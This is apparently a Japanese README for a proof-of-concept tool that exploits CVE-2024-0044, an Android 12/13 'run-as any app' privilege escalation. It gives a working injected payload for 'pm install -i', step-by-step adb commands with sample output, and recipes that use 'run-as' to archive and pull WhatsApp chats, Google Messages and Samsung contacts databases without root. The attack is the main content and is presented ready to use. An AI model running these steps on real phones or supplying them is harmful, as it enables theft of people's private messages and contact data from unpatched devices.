CVE 2024 0044

CVE-2024-0044 は、PackageInstallerService.java ファイル内の createSessionInternal 関数で特定された、Android バージョン 12 および 13 に影響を与える高重大度の脆弱性です。この脆弱性により、攻撃者は「run-as any app」攻撃を実行でき、ユーザーの操作を必要とせずにローカルでの権限昇格が可能になります。この問題は、createSessionInternal 関数内の不適切な入力検証に起因します。攻撃者はセッション作成プロセスを操作することでこれを悪用し、影響を受けるデバイス上の機密データに不正アクセスしたり、権限のないアクションを実行したりする可能性があります。

このエクスプロイトは Meta security によって発見されました。

概念実証は Tiny hack によって要約され共有されました。

セキュリティパッチの詳細は Android security bulletin にあります。

Prerequisites

スマートフォンでUSBデバッグを有効にし、USBケーブルまたはワイヤレスデバッグを使用してマシンに接続します。
任意のAPKをマシンにダウンロードします。F-DROID を使用できます。

How to use the tool

python3 cve_2024_0044.py -h
                                                                               
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#      
        
usage: cve_2024_0044.py [-h] -P P -A A

CVE-2024-0044: run-as any app @Pl4int3xt

options:
  -h, --help  show this help message and exit
  -P P        package name (default: None)
  -A A        apk file path (default: None)

-P は、実行する対象のパッケージ名を指定するために使用します。

-A は、デバイスにプッシュするAPKファイルを指定します。

Exploitation

以下のコマンドを実行します。 python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk

以下のような payload.txt ファイルが生成されます。

PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk

このツールは一部の工程を自動化しますが、他の部分は手動です。ペイロード生成後に終了して、すべてのコマンドを手動で実行することも、指示に従って続行することもできます。

次に、adb shell を使用してデバイスに接続し、ペイロードを貼り付け、最後のコマンドの後に `Success` メッセージが返されることを確認します。

pl4int3xt ~>  adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success

次に、以下のコマンドを使用してWhatsAppデータを取得します。

pixel:/ $ mkdir /data/local/tmp/wa/                                                                            
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp

一時ディレクトリを作成: mkdir /data/local/tmp/wa/

tarファイルのプレースホルダを作成: touch /data/local/tmp/wa/wa.tar

広範な権限を設定: chmod -R 0777 /data/local/tmp/wa/ これにより、任意のユーザーがこのディレクトリ内で読み取り、書き込み、実行できるようになります。

ユーザーコンテキストを切り替え: run-as victim により、「victim」ユーザーと同じ権限を取得します。

対象アプリケーションのデータをアーカイブ: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp、WhatsAppデータディレクトリのtarballを作成します。

最後にデータをプル

adb pull /data/local/tmp/wa/wa.tar

7z またはその他のツールを使用してデータを抽出できます。

Whatsapp chat exporter を使用してHTMLに変換できます。

これにより、デバイスにrootアクセスがなくてもWhatsAppデータを取得できます。

Pulling google messages

パッケージ名を以下のように変更するだけです。

plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk

上記の手順に従い、wa.tar ファイルをプルした後、展開して com.google.android.apps.messaging/databases/bugle_db 内の会話を sqlitebrowser またはその他のツールで開きます。

Pulling contacts

Samsungデバイスでテスト済みです。他のデバイスについては、連絡先プロバイダのパッケージ名を確認してください。

plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk

上記の手順に従い、wa.tar ファイルをプルした後、展開して com.samsung.android.providers.contacts/databases/contacts2.db 内の連絡先を sqlitebrowser またはその他のツールで開きます。このDBファイルには、すべてのユーザーのメールアカウント情報と連絡先リストが含まれています。

cve_2024_0044

人気